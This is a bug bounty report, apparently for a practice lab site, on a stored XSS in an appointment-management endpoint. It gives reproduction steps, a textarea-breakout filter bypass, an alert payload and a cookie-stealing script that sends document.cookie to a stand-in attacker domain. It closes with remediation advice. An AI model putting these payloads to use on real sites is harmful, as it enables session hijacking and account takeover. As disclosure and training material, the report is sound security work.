BugBountyHunter

Description

Hello Sean,

I found out that there is a stored XSS on the /manageappointment.php endpoint on the vulnerable message parameter, that leads to account takeover on various users/admins.

Steps to reproduce

• First of all, you need to make an appointment on the /book-appointment.html endpoint, an example of such is shown below:

• After doing so you will be given an appointment ID so that later on you can use it to visit your appointment details and to modify or cancel them.

• Now open the /yourappointments.php endpoint and enter the appointment id that you got from the previous step.

• Intercept the request to "Modify Appointment" and make the following changes:

• Adding act=cancel as a parameter is key in this attack.
• Edit the message parameter with the payload below, and send the request:

</textarea/x><script>alert(document.domain)</script>

• So here is the full changes you have to do (there is no need to change your id):

act=cancel&message=</textarea/x><script>alert(document.domain)</script>

• The /manageappointment.php endpoint is normally used to modify appointment details, However, in this case, an attacker injected his own appointment management link with XSS. This link will be given to the victim, and after the victim opens it he will be exploited.

Here is an example /manageappointment.php URL endpoint that is injected with the attacker's XSS payload:

http://firstbloodhackers.com/manageappointment.php?success&aptid=8d61f02e-9203-45ad-812c-d66e89834bfb

Exploitation

An attacker can use the following payload on the message parameter to steal the victim's cookie and use his drps cookie to take over his account, the payload is:

</textarea/x><script>window.location.href=`http://Attacker.com/${document.cookie}`</script>

Where http://attacker.com is the attacker's domain, opening the vulnerable link, results in a redirection to the attacker's domain, and the cookies will be sent to the attacker's server.

An attacker can set this cookie on his browser to access drAdmin (Administrator).

This happens because of two cookies misconfiguration:

1. Cookies are not set as httponly which makes it possible for an attacker to steal cookies using javascript.

2. Cookies are not deleted/expired as they meant to be after logging out, which makes it possible for an attacker to re-use the cookies whenever he wants to.

Set-Cookie: drps=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/

Attack Scenarios

• The simplest method to exploit this, is to inject the payload into your own appointment and then share the management link with the victim.
• Another interesting attacking scenario would be to chain this XSS with the IDOR leading to unauthorized access control combined with the aptID Brute-Forcing method, as we already know each user gets a link after booking an appointment, therefore mentioned injection results in the exploitation of the victim if they use their own manage appointment link.

Filter Bypass

• I found out that modifying the appointment details without adding the act=cancel parameter results in filtering/sanitization on the special characters such as < >.

• After adding the act=cancel parameter to the request of modifying the appointment this filtering is not applied:

• The injection occurs in a <textarea> so in order to break out of it, first I used </textarea> but this was filtered. So I used </textarea/x> and there was no filtering for it, enabling me to inject the XSS payload.

Remediation

1. Proper sanitization on the message parameter when the appointments are going to be canceled.
2. Preferably set httponly cookies so that javascript can not be used to steal cookies.

Impact

• Account takeover of various users/admins

Best Regards,

HolyBugx